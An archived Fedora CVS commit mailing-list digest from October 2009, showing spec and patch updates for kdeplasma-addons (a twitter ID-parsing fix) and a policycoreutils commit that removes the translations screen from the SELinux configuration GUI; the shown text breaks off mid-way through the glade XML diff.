-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -165,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
+- rev microblog/twitter patch (kde#200475#c36)
+
 * Sat Oct 10 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
 - microblog/twitter fix (kde#209891)
 



From rdieter at fedoraproject.org  Fri Oct 16 13:36:39 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 16 Oct 2009 13:36:39 +0000 (UTC)
Subject: rpms/kdeplasma-addons/F-12
	kdeplasma-addons-4.3.2-microblog_twitter.patch, 1.1,
	1.2 kdeplasma-addons.spec, 1.63, 1.64
Message-ID: <20091016133639.27DF611C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeplasma-addons/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2718/F-12

Modified Files:
	kdeplasma-addons-4.3.2-microblog_twitter.patch 
	kdeplasma-addons.spec 
Log Message:
* Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
- rev microblog/twitter patch (kde#200475#c36)


kdeplasma-addons-4.3.2-microblog_twitter.patch:
 microblog.cpp |    8 ++++----
 microblog.h   |    4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

Index: kdeplasma-addons-4.3.2-microblog_twitter.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/F-12/kdeplasma-addons-4.3.2-microblog_twitter.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- kdeplasma-addons-4.3.2-microblog_twitter.patch	10 Oct 2009 20:35:22 -0000	1.1
+++ kdeplasma-addons-4.3.2-microblog_twitter.patch	16 Oct 2009 13:36:38 -0000	1.2
@@ -8,7 +8,7 @@
 +        qulonglong maxId = m_lastTweet;
          foreach (const QString &id, data.keys()) {
 -            ulong i = id.toULong();
-+            qulonglong i = id.toULong();
++            qulonglong i = id.toULongLong();
              //kDebug() << i << m_lastTweet;
              if (i > m_lastTweet) {
                  newCount++;


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/F-12/kdeplasma-addons.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- kdeplasma-addons.spec	10 Oct 2009 20:35:22 -0000	1.63
+++ kdeplasma-addons.spec	16 Oct 2009 13:36:38 -0000	1.64
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -165,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
+- rev microblog/twitter patch (kde#200475#c36)
+
 * Sat Oct 10 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
 - microblog/twitter fix (kde#209891)
 



From rdieter at fedoraproject.org  Fri Oct 16 13:36:39 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 16 Oct 2009 13:36:39 +0000 (UTC)
Subject: rpms/kdeplasma-addons/devel
	kdeplasma-addons-4.3.2-microblog_twitter.patch, 1.1,
	1.2 kdeplasma-addons.spec, 1.67, 1.68
Message-ID: <20091016133639.77DCB11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeplasma-addons/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2718/devel

Modified Files:
	kdeplasma-addons-4.3.2-microblog_twitter.patch 
	kdeplasma-addons.spec 
Log Message:
* Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
- rev microblog/twitter patch (kde#200475#c36)


kdeplasma-addons-4.3.2-microblog_twitter.patch:
 microblog.cpp |    8 ++++----
 microblog.h   |    4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

Index: kdeplasma-addons-4.3.2-microblog_twitter.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/devel/kdeplasma-addons-4.3.2-microblog_twitter.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- kdeplasma-addons-4.3.2-microblog_twitter.patch	10 Oct 2009 20:22:06 -0000	1.1
+++ kdeplasma-addons-4.3.2-microblog_twitter.patch	16 Oct 2009 13:36:39 -0000	1.2
@@ -8,7 +8,7 @@
 +        qulonglong maxId = m_lastTweet;
          foreach (const QString &id, data.keys()) {
 -            ulong i = id.toULong();
-+            qulonglong i = id.toULong();
++            qulonglong i = id.toULongLong();
              //kDebug() << i << m_lastTweet;
              if (i > m_lastTweet) {
                  newCount++;


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/devel/kdeplasma-addons.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- kdeplasma-addons.spec	10 Oct 2009 20:34:56 -0000	1.67
+++ kdeplasma-addons.spec	16 Oct 2009 13:36:39 -0000	1.68
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -165,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
+- rev microblog/twitter patch (kde#200475#c36)
+
 * Sat Oct 10 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
 - microblog/twitter fix (kde#209891)
 



From dwalsh at fedoraproject.org  Fri Oct 16 13:38:17 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri, 16 Oct 2009 13:38:17 +0000 (UTC)
Subject: rpms/policycoreutils/F-12 policycoreutils-gui.patch, 1.94,
	1.95 policycoreutils-po.patch, 1.57,
	1.58 policycoreutils-rhat.patch, 1.449,
	1.450 policycoreutils.spec, 1.650, 1.651
Message-ID: <20091016133817.3B81411C00E5@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3690

Modified Files:
	policycoreutils-gui.patch policycoreutils-po.patch 
	policycoreutils-rhat.patch policycoreutils.spec 
Log Message:
* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-10
- Remove translations screen from system-config-selinux


policycoreutils-gui.patch:
 Makefile                     |   40 
 booleansPage.py              |  247 +++
 domainsPage.py               |  154 ++
 fcontextPage.py              |  223 ++
 html_util.py                 |  164 ++
 lockdown.glade               |  771 ++++++++++
 lockdown.gladep              |    7 
 lockdown.py                  |  382 ++++
 loginsPage.py                |  185 ++
 mappingsPage.py              |   56 
 modulesPage.py               |  190 ++
 polgen.glade                 | 3305 +++++++++++++++++++++++++++++++++++++++++++
 polgen.gladep                |    7 
 polgen.py                    | 1188 +++++++++++++++
 polgengui.py                 |  627 ++++++++
 portsPage.py                 |  259 +++
 selinux.tbl                  |  234 +++
 semanagePage.py              |  168 ++
 statusPage.py                |  190 ++
 system-config-selinux.glade  | 3025 +++++++++++++++++++++++++++++++++++++++
 system-config-selinux.gladep |    7 
 system-config-selinux.py     |  187 ++
 templates/__init__.py        |   18 
 templates/boolean.py         |   40 
 templates/etc_rw.py          |  129 +
 templates/executable.py      |  359 ++++
 templates/network.py         |   80 +
 templates/rw.py              |  127 +
 templates/script.py          |   99 +
 templates/semodule.py        |   41 
 templates/tmp.py             |   97 +
 templates/user.py            |  182 ++
 templates/var_lib.py         |  158 ++
 templates/var_log.py         |  110 +
 templates/var_run.py         |  118 +
 templates/var_spool.py       |  129 +
 usersPage.py                 |  150 +
 37 files changed, 13453 insertions(+)

Index: policycoreutils-gui.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils-gui.patch,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- policycoreutils-gui.patch	2 Oct 2009 12:49:35 -0000	1.94
+++ policycoreutils-gui.patch	16 Oct 2009 13:37:52 -0000	1.95
@@ -1,6 +1,6 @@
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/booleansPage.py policycoreutils-2.0.74/gui/booleansPage.py
 --- nsapolicycoreutils/gui/booleansPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/booleansPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/booleansPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,247 @@
 +#
 +# booleansPage.py - GUI for Booleans page in system-config-securitylevel
@@ -251,7 +251,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +        
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/domainsPage.py policycoreutils-2.0.74/gui/domainsPage.py
 --- nsapolicycoreutils/gui/domainsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/domainsPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/domainsPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,154 @@
 +## domainsPage.py - show selinux domains
 +## Copyright (C) 2009 Red Hat, Inc.
@@ -409,7 +409,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +            self.error(e.args[0])
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/fcontextPage.py policycoreutils-2.0.74/gui/fcontextPage.py
 --- nsapolicycoreutils/gui/fcontextPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/fcontextPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/fcontextPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,223 @@
 +## fcontextPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -636,7 +636,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +        self.store.set_value(iter, TYPE_COL, "%s:%s" % (type, mls))
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/html_util.py policycoreutils-2.0.74/gui/html_util.py
 --- nsapolicycoreutils/gui/html_util.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/html_util.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/html_util.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,164 @@
 +# Authors: John Dennis <jdennis at redhat.com>
 +#
@@ -804,7 +804,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.glade policycoreutils-2.0.74/gui/lockdown.glade
 --- nsapolicycoreutils/gui/lockdown.glade	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/lockdown.glade	2009-09-28 09:13:55.000000000 -0400
++++ policycoreutils-2.0.74/gui/lockdown.glade	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,771 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
@@ -1579,7 +1579,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +</glade-interface>
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.gladep policycoreutils-2.0.74/gui/lockdown.gladep
 --- nsapolicycoreutils/gui/lockdown.gladep	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/lockdown.gladep	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/lockdown.gladep	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,7 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-project SYSTEM "http://glade.gnome.org/glade-project-2.0.dtd">
@@ -1590,7 +1590,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +</glade-project>
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.py policycoreutils-2.0.74/gui/lockdown.py
 --- nsapolicycoreutils/gui/lockdown.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/lockdown.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/lockdown.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,382 @@
 +#!/usr/bin/python
 +#
@@ -1976,7 +1976,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +    app.stand_alone()
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/loginsPage.py policycoreutils-2.0.74/gui/loginsPage.py
 --- nsapolicycoreutils/gui/loginsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/loginsPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/loginsPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,185 @@
 +## loginsPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -2165,8 +2165,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/Makefile policycoreutils-2.0.74/gui/Makefile
 --- nsapolicycoreutils/gui/Makefile	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/Makefile	2009-09-20 21:26:37.000000000 -0400
-@@ -0,0 +1,41 @@
++++ policycoreutils-2.0.74/gui/Makefile	2009-10-15 10:50:59.000000000 -0400
+@@ -0,0 +1,40 @@
 +# Installation directories.
 +PREFIX ?= ${DESTDIR}/usr
 +BINDIR ?= $(PREFIX)/bin
@@ -2186,7 +2186,6 @@ diff --exclude-from=exclude -N -u -r nsa
 +semanagePage.py \
 +statusPage.py \
 +system-config-selinux.glade \
-+translationsPage.py \
 +usersPage.py \
 +selinux.tbl
 +
@@ -2210,7 +2209,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +relabel:
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/mappingsPage.py policycoreutils-2.0.74/gui/mappingsPage.py
 --- nsapolicycoreutils/gui/mappingsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/mappingsPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/mappingsPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,56 @@
 +## mappingsPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -2270,7 +2269,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/modulesPage.py policycoreutils-2.0.74/gui/modulesPage.py
 --- nsapolicycoreutils/gui/modulesPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/modulesPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/modulesPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,190 @@
 +## modulesPage.py - show selinux mappings
 +## Copyright (C) 2006-2009 Red Hat, Inc.
@@ -2464,7 +2463,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +            self.error(e.args[0])
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.glade policycoreutils-2.0.74/gui/polgen.glade
 --- nsapolicycoreutils/gui/polgen.glade	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/polgen.glade	2009-09-28 09:14:14.000000000 -0400
++++ policycoreutils-2.0.74/gui/polgen.glade	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,3305 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
@@ -5773,7 +5772,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +</glade-interface>
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.gladep policycoreutils-2.0.74/gui/polgen.gladep
 --- nsapolicycoreutils/gui/polgen.gladep	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/polgen.gladep	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/polgen.gladep	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,7 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-project SYSTEM "http://glade.gnome.org/glade-project-2.0.dtd">
@@ -5784,7 +5783,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +</glade-project>
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgengui.py policycoreutils-2.0.74/gui/polgengui.py
 --- nsapolicycoreutils/gui/polgengui.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/polgengui.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/polgengui.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,627 @@
 +#!/usr/bin/python -E
 +#
@@ -6415,7 +6414,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +    app.stand_alone()
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.py policycoreutils-2.0.74/gui/polgen.py
 --- nsapolicycoreutils/gui/polgen.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/polgen.py	2009-10-01 11:36:54.000000000 -0400
++++ policycoreutils-2.0.74/gui/polgen.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,1188 @@
 +#!/usr/bin/python
 +#
@@ -7607,7 +7606,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +    sys.exit(0)
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/portsPage.py policycoreutils-2.0.74/gui/portsPage.py
 --- nsapolicycoreutils/gui/portsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/portsPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/portsPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,259 @@
 +## portsPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -7870,7 +7869,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +        
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/selinux.tbl policycoreutils-2.0.74/gui/selinux.tbl
 --- nsapolicycoreutils/gui/selinux.tbl	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/selinux.tbl	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/selinux.tbl	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,234 @@
 +acct_disable_trans _("SELinux Service Protection") _("Disable SELinux protection for acct daemon")
 +allow_daemons_dump_core _("Admin") _("Allow all daemons to write corefiles to /")
@@ -8108,7 +8107,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/semanagePage.py policycoreutils-2.0.74/gui/semanagePage.py
 --- nsapolicycoreutils/gui/semanagePage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/semanagePage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/semanagePage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,168 @@
 +## semanagePage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -8280,7 +8279,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +        
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/statusPage.py policycoreutils-2.0.74/gui/statusPage.py
 --- nsapolicycoreutils/gui/statusPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/statusPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/statusPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,190 @@
 +# statusPage.py - show selinux status
 +## Copyright (C) 2006-2009 Red Hat, Inc.
@@ -8474,8 +8473,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.glade policycoreutils-2.0.74/gui/system-config-selinux.glade
 --- nsapolicycoreutils/gui/system-config-selinux.glade	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/system-config-selinux.glade	2009-09-20 21:26:37.000000000 -0400
-@@ -0,0 +1,3403 @@
++++ policycoreutils-2.0.74/gui/system-config-selinux.glade	2009-10-15 10:42:01.000000000 -0400
+@@ -0,0 +1,3025 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
 +
@@ -9018,198 +9017,6 @@ diff --exclude-from=exclude -N -u -r nsa
 +  </child>
 +</widget>
 +
-+<widget class="GtkDialog" id="translationsDialog">
-+  <property name="title" translatable="yes">Add SELinux Login Mapping</property>
-+  <property name="type">GTK_WINDOW_TOPLEVEL</property>
-+  <property name="window_position">GTK_WIN_POS_NONE</property>
-+  <property name="modal">False</property>
-+  <property name="resizable">True</property>
-+  <property name="destroy_with_parent">False</property>
-+  <property name="decorated">True</property>
-+  <property name="skip_taskbar_hint">False</property>
-+  <property name="skip_pager_hint">False</property>
-+  <property name="type_hint">GDK_WINDOW_TYPE_HINT_DIALOG</property>
-+  <property name="gravity">GDK_GRAVITY_NORTH_WEST</property>
-+  <property name="focus_on_map">True</property>
-+  <property name="urgency_hint">False</property>
-+  <property name="has_separator">True</property>
-+
-+  <child internal-child="vbox">
-+    <widget class="GtkVBox" id="vbox5">
-+      <property name="visible">True</property>
-+      <property name="homogeneous">False</property>
-+      <property name="spacing">0</property>
-+
-+      <child internal-child="action_area">
-+	<widget class="GtkHButtonBox" id="hbuttonbox2">
-+	  <property name="visible">True</property>
-+	  <property name="layout_style">GTK_BUTTONBOX_END</property>
-+
-+	  <child>
-+	    <widget class="GtkButton" id="button3">
-+	      <property name="visible">True</property>
-+	      <property name="can_default">True</property>
-+	      <property name="can_focus">True</property>
-+	      <property name="label">gtk-cancel</property>
-+	      <property name="use_stock">True</property>
-+	      <property name="relief">GTK_RELIEF_NORMAL</property>
-+	      <property name="focus_on_click">True</property>
-+	      <property name="response_id">-6</property>
-+	    </widget>
-+	  </child>
-+
-+	  <child>
-+	    <widget class="GtkButton" id="button4">
-+	      <property name="visible">True</property>
-+	      <property name="can_default">True</property>
-+	      <property name="can_focus">True</property>
-+	      <property name="label">gtk-ok</property>
-+	      <property name="use_stock">True</property>
-+	      <property name="relief">GTK_RELIEF_NORMAL</property>
-+	      <property name="focus_on_click">True</property>
-+	      <property name="response_id">-5</property>
-+	    </widget>
-+	  </child>
-+	</widget>
-+	<packing>
-+	  <property name="padding">0</property>
-+	  <property name="expand">False</property>
-+	  <property name="fill">True</property>
-+	  <property name="pack_type">GTK_PACK_END</property>
-+	</packing>
-+      </child>
-+
-+      <child>
-+	<widget class="GtkVBox" id="vbox6">
-+	  <property name="visible">True</property>
-+	  <property name="homogeneous">False</property>
-+	  <property name="spacing">0</property>
-+
-+	  <child>
-+	    <widget class="GtkTable" id="table3">
-+	      <property name="visible">True</property>
-+	      <property name="n_rows">2</property>
-+	      <property name="n_columns">2</property>
-+	      <property name="homogeneous">False</property>
-+	      <property name="row_spacing">4</property>
-+	      <property name="column_spacing">6</property>
-+
-+	      <child>
-+		<widget class="GtkLabel" id="label22">
-+		  <property name="visible">True</property>
-+		  <property name="label" translatable="yes">SELinux MLS/MCS
-+Level</property>
-+		  <property name="use_underline">False</property>
-+		  <property name="use_markup">False</property>
-+		  <property name="justify">GTK_JUSTIFY_LEFT</property>
-+		  <property name="wrap">False</property>
-+		  <property name="selectable">False</property>
-+		  <property name="xalign">0</property>
-+		  <property name="yalign">0.5</property>
-+		  <property name="xpad">0</property>
-+		  <property name="ypad">0</property>
-+		  <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
-+		  <property name="width_chars">-1</property>
-+		  <property name="single_line_mode">False</property>
-+		  <property name="angle">0</property>
-+		</widget>
-+		<packing>
-+		  <property name="left_attach">0</property>
-+		  <property name="right_attach">1</property>
-+		  <property name="top_attach">0</property>
-+		  <property name="bottom_attach">1</property>
-+		  <property name="x_options">fill</property>
-+		  <property name="y_options"></property>
-+		</packing>
-+	      </child>
-+
-+	      <child>
-+		<widget class="GtkLabel" id="label24">
-+		  <property name="visible">True</property>
-+		  <property name="label" translatable="yes">Translation</property>
-+		  <property name="use_underline">False</property>
-+		  <property name="use_markup">False</property>
-+		  <property name="justify">GTK_JUSTIFY_LEFT</property>
-+		  <property name="wrap">False</property>
-+		  <property name="selectable">False</property>
-+		  <property name="xalign">0</property>
-+		  <property name="yalign">0.5</property>
-+		  <property name="xpad">0</property>
-+		  <property name="ypad">0</property>
-+		  <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
-+		  <property name="width_chars">-1</property>
-+		  <property name="single_line_mode">False</property>
-+		  <property name="angle">0</property>
-+		</widget>
-+		<packing>
-+		  <property name="left_attach">0</property>
-+		  <property name="right_attach">1</property>
-+		  <property name="top_attach">1</property>
-+		  <property name="bottom_attach">2</property>
-+		  <property name="x_options">fill</property>
-+		  <property name="y_options"></property>
-+		</packing>
-+	      </child>
-+
-+	      <child>
-+		<widget class="GtkEntry" id="translationsLevelEntry">
-+		  <property name="visible">True</property>
-+		  <property name="can_focus">True</property>
-+		  <property name="editable">True</property>
-+		  <property name="visibility">True</property>
-+		  <property name="max_length">0</property>
-+		  <property name="text" translatable="yes"></property>
-+		  <property name="has_frame">True</property>
-+		  <property name="invisible_char">*</property>
-+		  <property name="activates_default">False</property>
-+		</widget>
-+		<packing>
-+		  <property name="left_attach">1</property>
-+		  <property name="right_attach">2</property>
-+		  <property name="top_attach">0</property>
-+		  <property name="bottom_attach">1</property>
-+		  <property name="y_options"></property>
-+		</packing>
-+	      </child>
-+
-+	      <child>
-+		<widget class="GtkEntry" id="translationsEntry">
-+		  <property name="visible">True</property>
-+		  <property name="can_focus">True</property>
-+		  <property name="editable">True</property>
-+		  <property name="visibility">True</property>
-+		  <property name="max_length">0</property>
-+		  <property name="text" translatable="yes"></property>
-+		  <property name="has_frame">True</property>
-+		  <property name="invisible_char">*</property>
-+		  <property name="activates_default">False</property>
-+		</widget>
-+		<packing>
-+		  <property name="left_attach">1</property>
-+		  <property name="right_attach">2</property>
-+		  <property name="top_attach">1</property>
-+		  <property name="bottom_attach">2</property>
-+		  <property name="y_options"></property>
-+		</packing>
-+	      </child>
-+	    </widget>
-+	    <packing>
-+	      <property name="padding">5</property>
-+	      <property name="expand">True</property>
-+	      <property name="fill">True</property>
-+	    </packing>
-+	  </child>
-+	</widget>
-+	<packing>
-+	  <property name="padding">0</property>
-+	  <property name="expand">True</property>
-+	  <property name="fill">True</property>
-+	</packing>
-+      </child>
-+    </widget>
-+  </child>
-+</widget>
-+
 +<widget class="GtkDialog" id="fcontextDialog">
 +  <property name="title" translatable="yes">Add SELinux Login Mapping</property>
 +  <property name="type">GTK_WINDOW_TOPLEVEL</property>
@@ -9970,7 +9777,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +	  <child>
 +	    <widget class="GtkNotebook" id="notebook">
 +	      <property name="visible">True</property>
-+	      <property name="show_tabs">False</property>
++	      <property name="can_focus">True</property>
++	      <property name="show_tabs">True</property>
 +	      <property name="show_border">True</property>
 +	      <property name="tab_pos">GTK_POS_TOP</property>
 +	      <property name="scrollable">False</property>
@@ -11020,193 +10828,6 @@ diff --exclude-from=exclude -N -u -r nsa
 +	      </child>
 +
 +	      <child>
-+		<widget class="GtkVBox" id="vbox13">
-+		  <property name="visible">True</property>
-+		  <property name="homogeneous">False</property>
-+		  <property name="spacing">0</property>
-+
-+		  <child>
-+		    <widget class="GtkToolbar" id="toolbar4">
-+		      <property name="visible">True</property>
-+		      <property name="orientation">GTK_ORIENTATION_HORIZONTAL</property>
-+		      <property name="toolbar_style">GTK_TOOLBAR_BOTH</property>
-+		      <property name="tooltips">True</property>
-+		      <property name="show_arrow">True</property>
-+
-+		      <child>
-+			<widget class="GtkToolButton" id="toolbutton11">
-+			  <property name="visible">True</property>
-+			  <property name="tooltip" translatable="yes">Add Translation</property>
-+			  <property name="stock_id">gtk-add</property>
-+			  <property name="visible_horizontal">True</property>
-+			  <property name="visible_vertical">True</property>
-+			  <property name="is_important">False</property>
-+			  <signal name="clicked" handler="on_add_clicked" last_modification_time="Mon, 16 Jan 2006 18:27:03 GMT"/>
-+			</widget>
-+			<packing>
-+			  <property name="expand">False</property>
-+			  <property name="homogeneous">True</property>
-+			</packing>
-+		      </child>
-+
-+		      <child>
-+			<widget class="GtkToolButton" id="toolbutton12">
-+			  <property name="visible">True</property>
-+			  <property name="tooltip" translatable="yes">Modify Translation</property>
-+			  <property name="stock_id">gtk-properties</property>
-+			  <property name="visible_horizontal">True</property>
-+			  <property name="visible_vertical">True</property>
-+			  <property name="is_important">False</property>
